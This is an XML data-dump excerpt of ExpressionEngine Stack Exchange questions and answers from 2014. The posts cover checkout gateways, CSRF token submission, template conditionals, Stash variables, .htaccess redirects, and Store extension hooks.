  <row Id="23695" PostTypeId="2" ParentId="23686" CreationDate="2014-06-13T19:15:26.913" Score="1" Body="&lt;p&gt;Since PayPal is an &lt;em&gt;off-site&lt;/em&gt; payment gateway, whereas Stripe is an &lt;em&gt;on-site&lt;/em&gt; gateway, you'll likely want separate checkout forms, since the final action of each will differ (the Stripe checkout form tokenizes the card and sends it for payment, whereas the PayPal checkout form sends the user to PayPal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, on the previous screen before the payment step, give users the option (credit card or PayPal), then send them to the respective template based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you just need to use the &lt;code&gt;gateway&lt;/code&gt; parameter (&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/checkout_form/index.html#gateway&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;) of the &lt;code&gt;checkout_form&lt;/code&gt; tag so that each gets processed properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tutorial may also help: &lt;a href=&quot;http://cartthrob.com/docs/tutorials/allow_the_customer_to_select_a_gateway/index.html&quot; rel=&quot;nofollow&quot;&gt;Allow the customer to select a gateway&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-13T21:31:51.843" LastActivityDate="2014-06-13T21:31:51.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23697" PostTypeId="1" CreationDate="2014-06-13T19:56:56.880" Score="1" ViewCount="38" Body="&lt;p&gt;Page is set to &quot;yes&quot; for http authentication. Worked fine for the last week. Went to show a client how it worked during a training session and it was no longer working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? No errors, just not requested usn and password and is taking users to page that should be protected via password/usner.&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2016-05-21T00:55:48.530" Title="Page No Longer Prompting w/ USN &amp; PSW on HTTP Authenticated Page" Tags="|password|http|template-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23698" PostTypeId="2" ParentId="23672" CreationDate="2014-06-13T20:25:08.223" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I checked and I can see the XID param being sent to the jquery.ajax by looking in chrome network panel, i can see the query string it builds. So we are good there.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sounds like you are sending the &lt;code&gt;XID&lt;/code&gt; in GET instead of POST data. CSRF tokens must be present in the POST data if POST data is received by ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.7.3:&lt;br&gt;&#xA;POST: &lt;code&gt;XID&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.8+:&lt;br&gt;&#xA;POST: &lt;code&gt;csrf_token&lt;/code&gt;&lt;br&gt;&#xA;  or&#xA;POST: &lt;code&gt;XID&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-13T20:25:08.223" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23699" PostTypeId="2" ParentId="23558" CreationDate="2014-06-13T21:13:01.683" Score="0" Body="&lt;p&gt;Thanks Everyone for your inputs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We finally figured out that is was a security settings which was activated by our hosting provider which was stopping any form to except characters like { } &quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It was being blocked by security settings in Comodo WAF (which appears to be a little excessively strict in recent updates) and has been allowed now.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2014-06-13T21:13:01.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23700" PostTypeId="2" ParentId="23669" CreationDate="2014-06-13T21:22:18.983" Score="1" Body="&lt;p&gt;Put both field types in the Matrix, let users choose what to use by entering content or selecting an entry from the Playa field, and then have template-level conditionals checking the fields for content and applying appropriate markup.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-13T21:22:18.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23701" PostTypeId="1" AcceptedAnswerId="23708" CreationDate="2014-06-13T22:35:19.493" Score="2" ViewCount="187" Body="&lt;p&gt;So, I think I've caught on that advanced conditions and EE tags don't play like expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I downloaded Mark C's &quot;IfElse&quot; plugin and things are looking up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my default condition, doesn't work. EE is NOT parsing the &quot;last/default&quot; condition so therefore the content is not appearing from the channel and only text versions of the field names (e.g. {title}, {body}) appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}               &#xA;&#xA;        {if segment_3 ==&quot;1&quot;}&#xA;           {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;33&quot;} &#xA;&#xA;        {if:elseif segment_3==&quot;2&quot;} &#xA;           {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;32&quot;} &#xA;&#xA;        {if:elseif segment_3==&quot;3&quot;}&#xA;           {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;34&quot;} &#xA;&#xA;        {if:elseif segment_3==&quot;4&quot;}&#xA;           {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;35&quot;}     &#xA;&#xA;        {/if}&#xA;{/exp:ifelse}&#xA;&#xA;{title}&#xA;{body}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, for the last condition, I've tried the normal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if:else}&#xA;   {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;35&quot;}     &#xA;&#xA; {/if}&#xA; {/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no cigar. &lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="422" LastEditDate="2014-06-15T08:46:59.617" LastActivityDate="2014-06-15T08:46:59.617" Title="Advanced Conditions: {if:else} tag not getting read" Tags="|conditionals|ifelse|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23703" PostTypeId="2" ParentId="23701" CreationDate="2014-06-14T10:28:29.757" Score="2" Body="&lt;p&gt;Yikes! With all due respect, this is an extremely inelegant approach. You should never attempt to output different opening tags in this way. Even if you are able to somehow make it work, the next developer to look at this code will be cursing your name!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the url_titles or the entry_ids directly in segment_3 instead of 1/2/3, which would     automatically show the right entry due to the default &lt;code&gt;dynamic&lt;/code&gt; nature of the channel:entries tag. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the native Pages module to assign whatever URI/template combination you like to an entry, which will also allow a single channel entries tag to work dynamically&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Alternatively, use Stash to set a variable which you then pass to the channel:entries tag like so:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;the-entry&quot;}&#xA;    {if segment_3 == '1'}31{/if}&#xA;    {if segment_3 == '2'}32{/if}&#xA;    {if segment_3 == '3'}34{/if}&#xA;    {if segment_3 == '4'}35{/if}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:parse}&#xA;    {exp:channel:entries entry_id=&quot;{stash:the-entry}&quot;}&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;        {body}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-14T10:28:29.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23704" PostTypeId="2" ParentId="23701" CreationDate="2014-06-14T11:49:43.297" Score="2" Body="&lt;p&gt;As someone else has said this is an inelegant approach and there are better ways to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for starters try putting the complete tag pair within each condition and see if that works. i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if segment_3 ==&quot;1&quot;}&#xA;       {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;33&quot;} &#xA;           stuff&#xA;       {/exp:channel:entries}&#xA;    {if:elseif segment_3==&quot;2&quot;} &#xA;       {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;32&quot;} &#xA;           stuff&#xA;       {/exp:channel:entries}&#xA;    {if:elseif segment_3==&quot;3&quot;}&#xA;       {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;34&quot;} &#xA;           stuff&#xA;       {/exp:channel:entries}&#xA;    (if:elseif segment_3==&quot;4&quot;}&#xA;       {exp:channel:entries channel =&quot;about&quot; entry_id=&quot;35&quot;}&#xA;           stuff&#xA;       {/exp:channel:entries}&#xA;    {/if}     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that works you can then think about how to make the code more efficient. Try using stash, switchee or as someone said, use the entry IDs/url_title in your URL which will negate the need for this approach.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-14T11:49:43.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23705" PostTypeId="1" AcceptedAnswerId="23710" CreationDate="2014-06-14T17:08:51.557" Score="1" ViewCount="50" Body="&lt;p&gt;I’m trying to use the ‘track_views’ parameter to record impressions of banners which are being served on a website. Am I correct in thinking that track_views is &lt;em&gt;only&lt;/em&gt; supported on single entry pages, i.e. if I have a channel:entries loop that outputs more than 1 entry it will not track views?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-15T09:17:28.240" Title="Tracking views in an entries loop with more than one result" Tags="|entries|tracking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23706" PostTypeId="1" AcceptedAnswerId="23707" CreationDate="2014-06-14T18:39:00.583" Score="2" ViewCount="50" Body="&lt;p&gt;I'm running into an issue where 301 redirects on site I switched from Joomla to EE are not working. The link style on the old version of the site is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/index.php?option=com_user&amp;amp;view=reset&amp;amp;Itemid=14&quot; rel=&quot;nofollow&quot;&gt;http://example.com/index.php?option=com_user&amp;amp;view=reset&amp;amp;Itemid=14&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the redirect, I'm using this line in the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Redirect 301 /index.php?option=com_user&amp;amp;view=reset&amp;amp;Itemid=14 /contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since index.php is valid with EE, my assumption is the issue revolves around the query string since a more basic redirect works as indended:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Redirect 301 /about /&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;routes traffic from the about page to the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I redirect these links to the new ExpressionEngine-powered pages or, if the issue is more generic, links containing &quot;index.php?&quot;?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-06-15T05:14:14.577" LastActivityDate="2014-06-15T08:28:08.167" Title="Redirecting Joomla Links to New ExpressionEngine Links Fails" Tags="|redirects|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23707" PostTypeId="2" ParentId="23706" CreationDate="2014-06-14T22:39:03.123" Score="3" Body="&lt;p&gt;You need to use &lt;strong&gt;%{QUERY_STRING}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^option=com_user&amp;amp;view=reset&amp;amp;Itemid=14$&#xA;RewriteRule ^(.*) /contact? [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-06-15T08:28:08.167" LastActivityDate="2014-06-15T08:28:08.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23708" PostTypeId="2" ParentId="23701" CreationDate="2014-06-14T23:36:14.727" Score="1" Body="&lt;p&gt;You don't need any add-on to make this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segment variables as parsed before any module tags. Advanced conditionals are parsed after, but you can use simple conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel =&quot;about&quot;&#xA;    {if segment_3 == &quot;1&quot;}&#xA;        entry_id=&quot;33&quot;&#xA;    {/if}&#xA;    {if segment_3 == &quot;2&quot;}&#xA;        entry_id=&quot;32&quot;&#xA;    {/if}&#xA;    {if segment_3 == &quot;3&quot;}&#xA;        entry_id=&quot;34&quot;&#xA;    {/if}&#xA;    {if segment_3 == &quot;4&quot;}&#xA;       entry_id=&quot;35&quot;&#xA;    {/if}&#xA;} &#xA;&#xA;    {title}&#xA;    {body}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Isn't all that beautiful, I know, but is fast, simple and DRY.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-14T23:36:14.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23709" PostTypeId="2" ParentId="23633" CreationDate="2014-06-15T08:44:09.757" Score="2" Body="&lt;p&gt;Personally I wouldn't put too much reliance on Magpie. It's fine in simple use cases but if you want to grab an RSS/XML feed there are plenty of options to choose from‌​. I would suggest &lt;a href=&quot;http://devot-ee.com/add-ons/feed-parser&quot; rel=&quot;nofollow&quot;&gt;Feed Parser&lt;/a&gt; as a good free alternative.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-15T08:44:09.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23710" PostTypeId="2" ParentId="23705" CreationDate="2014-06-15T09:17:28.240" Score="1" Body="&lt;p&gt;The short answer is yes. :) Your inkling is correct in that &lt;code&gt;track_views&lt;/code&gt; is only supported on single entry pages specified by title or ID. Multiple entries can be output with the {view_count} displayed but views will not be incremented. I'd love to expand a little but I can't really think of a good way around this as the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_tracking.html&quot; rel=&quot;nofollow&quot;&gt;entry tracking&lt;/a&gt; is pretty rigid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For banner/advertising impressions however it would probably be better to go with a more versatile option such as Google Analytics. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-06-15T09:17:28.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23711" PostTypeId="2" ParentId="22532" CreationDate="2014-06-15T20:29:51.953" Score="0" Body="&lt;p&gt;I think as you have figured out, Freemember doesn't support this natively. Freemember is a simple solution, and is only really designed to work with the built in EE member field types. That said, you could definitely modify Freemember to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, with complex requirements like this I would look into a more full-featured solution such as Zoo Visitor which allows any custom member field types using regular EE channel entries, rather than trying to modify Freemember to do it.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-15T20:29:51.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23712" PostTypeId="2" ParentId="22428" CreationDate="2014-06-15T20:54:29.137" Score="2" Body="&lt;p&gt;You might find the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;EE Extension Development guide&lt;/a&gt; useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you need to create an extension which handles the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook. I'm not sure what you mean by the &lt;code&gt;$data&lt;/code&gt; parameter, but the &lt;code&gt;$order&lt;/code&gt; parameter is a Store Order model. You can access attributes on it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order-&amp;gt;id;&#xA;$order-&amp;gt;billing_address;&#xA;$order-&amp;gt;order_total;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The attribute names match those found in the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html&quot; rel=&quot;nofollow&quot;&gt;checkout tag&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-15T20:54:29.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23713" PostTypeId="2" ParentId="22299" CreationDate="2014-06-15T21:21:48.553" Score="1" Body="&lt;p&gt;The problem is that you are trying to edit the order directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, your extension should implement the &lt;code&gt;store_order_shipping_methods&lt;/code&gt; hook to return your custom shipping rate, as the official Store shipping extensions do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the extension file, your hook method should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function shipping_methods($order, array $methods)&#xA;{&#xA;    if (ee()-&amp;gt;extensions-&amp;gt;last_call !== false) {&#xA;        $methods = ee()-&amp;gt;extensions-&amp;gt;last_call;&#xA;    }&#xA;&#xA;    // implement your own shipping logic here&#xA;    if ($order-&amp;gt;shipping_postcode == '12345') {&#xA;&#xA;        // add a custom shipping method&#xA;        $option = new Store\Model\OrderShippingMethod;&#xA;        $option-&amp;gt;id = 'custom';&#xA;        $option-&amp;gt;name = 'My Custom Shipping Method';&#xA;        $option-&amp;gt;amount = 10.00;&#xA;        $option-&amp;gt;class = __CLASS__;&#xA;&#xA;        $methods[$option-&amp;gt;id] = $option;&#xA;    }&#xA;&#xA;    return $methods;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-15T21:21:48.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23714" PostTypeId="2" ParentId="22454" CreationDate="2014-06-15T21:30:23.840" Score="3" Body="&lt;p&gt;I don't think postmaster supports this out of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it should be fairly trivial to add support for. Store keeps all incomplete carts in the exp_store_orders table (with &lt;code&gt;completed_date&lt;/code&gt; set to &lt;code&gt;NULL&lt;/code&gt;), so it would be fairly easy to grab the most recent abandoned carts and send a follow up email to them.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-06-15T21:30:23.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23715" PostTypeId="1" AcceptedAnswerId="23717" CreationDate="2014-06-16T00:46:30.810" Score="1" ViewCount="305" Body="&lt;p&gt;I have to import about 1,000+ Categories that are 4 levels deep. Is there an easy want to bulk import categories? I have DataGrab, but I don't think it handles Categories. I would also rather not mess with the database if I don't need to, as suggested here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12403/whats-the-best-way-to-bulk-add-or-import-categories&quot;&gt;What&amp;#39;s the best way to bulk add or import categories?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-06-16T10:01:58.050" Title="Bulk Import of Categories" Tags="|categories|datagrab|import|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23716" PostTypeId="2" ParentId="23715" CreationDate="2014-06-16T07:49:58.740" Score="0" Body="&lt;p&gt;There's Solspace Importer too but I don't think either that or DataGrab cater to categories with a structure that deep. :/&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-16T07:49:58.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23717" PostTypeId="2" ParentId="23715" CreationDate="2014-06-16T10:01:58.050" Score="2" Body="&lt;p&gt;Data Grab does support category importing (See configuration grab) but as part of entry import (as far as I'm aware), so possibly discard entry information after import if it's not needed...? You could also possibly have all the categories imported with 1 entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a category already exists, it won't create a new one but utilise that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By accident I discovered it handles multiple depths creation and assignment as I don't recall seeing any documentation on this. I had some categories with &quot;/&quot; in the title - it uses this as a category parent/child identifier. I've only stumbled on this as a 2 depth solution, so unknown if 4 levels would work, but if you already have DataGrab it's worth updating to latest version and giving it a test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example category names: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category1/Category1a &lt;/li&gt;&#xA;&lt;li&gt;Category1/Category1a/Category1a1/Category1a1a (unknown if this works)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you import &quot;Category1/Category1a&quot; with first creating it's parent, the parent is automatically created with the url_title generated automatically from the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qE74F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-06-16T10:01:58.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23718" PostTypeId="1" CreationDate="2014-06-16T10:15:45.263" Score="0" ViewCount="370" Body="&lt;p&gt;I'm trying to setup a multilanguage site using this solution &lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to modify the .htaccess to remove index.php from URL event in the subfolder but I don't know how. The current .htaccess is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This file is located in /en/ folder and should point to right index.php in the same folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-07-17T15:15:46.523" Title="Modify htaccess to work in subfolders" Tags="|multi-site-manager|.htaccess|" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-18T16:29:47.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="23719" PostTypeId="1" AcceptedAnswerId="23737" CreationDate="2014-06-16T10:28:37.847" Score="3" ViewCount="135" Body="&lt;p&gt;Just wondering if anyone has any experience with creating repeat orders in Cartthrob and cares to share how they achieved this (or any obvious gotchas). I ask because there doesn't appear to be anything in Cartthrob's docs with points to this functionality, so I want to make sure it's actually achievable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify what I'm trying to achieve: I have products in a number of channels (about 4 channels) which the customer can add to their basket and purchase. If they choose to create an account (or are signed in) they can then view previous orders. What I would like the customer to be able to do is view a previous order and then be able to rebuild their basket from this previous order. From the basket they would be able to do the usual stuff like change the quantity and delete individual items.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-10-28T10:21:39.437" Title="Creating repeat orders in Cartthrob - Tips/Practices" Tags="|cartthrob|orders|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23721" PostTypeId="1" CreationDate="2014-06-16T12:14:23.683" Score="0" ViewCount="25" Body="&lt;p&gt;Does anybody know a Add-on or something like that which can do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have, in my Publish-form an editable field; for instance I have a date field (LowEvent) which adds a date to my entry for an event. But some of my entries have several separated dates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have some kind of a 'Plus/add icon' which can create a new date field on the fly in my Publish form, sort of speak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards Dave&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2014-06-16T12:14:23.683" Title="Expand, Multiply a Channelfield" Tags="|channel-entries|channel-fields|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23722" PostTypeId="1" CreationDate="2014-06-16T13:07:24.303" Score="0" ViewCount="70" Body="&lt;p&gt;I have this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    author_id=&quot;{segment_3}&quot;&#xA;    channel=&quot;images&quot;&#xA;    disable=&quot;categories|category_fields|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {if no_results}&#xA;        {exp:stash:set name=&quot;default_image&quot;}http://placehold.it/200x200/{/exp:stash:set}&#xA;    {/if}&#xA;&#xA;    {if count == 1}&#xA;        {exp:stash:set name=&quot;default_image&quot;}{image}{/exp:stash:set}&#xA;    {/if}&#xA;&#xA;    {if is_default == 'yes'}&#xA;        {exp:stash:set name=&quot;default_image&quot;}{image}{/exp:stash:set}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal of the logic here is to get default image. Here is the logic&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If there are no results, use a default image&lt;/li&gt;&#xA;&lt;li&gt;If there is only 1 profile image, use it as default image&lt;/li&gt;&#xA;&lt;li&gt;If there is a default image set, use it as a default image&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I try to use Stash to make this happen but outputting the contents of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;default_image&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns a blank string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong with Stash? Is it even possible to do it?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-11-13T16:02:35.960" Title="Using Stash to store a variable in the loop based on a conditional" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23723" PostTypeId="1" AcceptedAnswerId="23725" CreationDate="2014-06-16T13:13:35.893" Score="0" ViewCount="84" Body="&lt;p&gt;Is there a native EE method to determine if a given member id is online? I'd rather not install an addon like &lt;a href=&quot;http://devot-ee.com/add-ons/member-online&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/member-online&lt;/a&gt; to do this.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-25T14:01:44.823" Title="Is Member Online?" Tags="|add-on|members|statistics|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23724" PostTypeId="2" ParentId="23722" CreationDate="2014-06-16T13:57:31.687" Score="1" Body="&lt;p&gt;I see what you're trying to do and you're close, as most things it's a parse order issue, so some simple refactoring should suffice…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;default_image&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;//Set stash here, so it parses conditionals&#xA;  {exp:channel:entries&#xA;    author_id=&quot;{segment_3}&quot;&#xA;    channel=&quot;images&quot;&#xA;    disable=&quot;categories|category_fields|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {if no_results}http://placehold.it/200x200/{/if}&#xA;    {if count == 1}{image}{/if}//This could do with some thought - '1' &amp;amp; 'is_default' could be similar, if not the same and may cause issues.&#xA;    {if is_default == 'yes'}{image}{/if}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-06-16T13:57:31.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
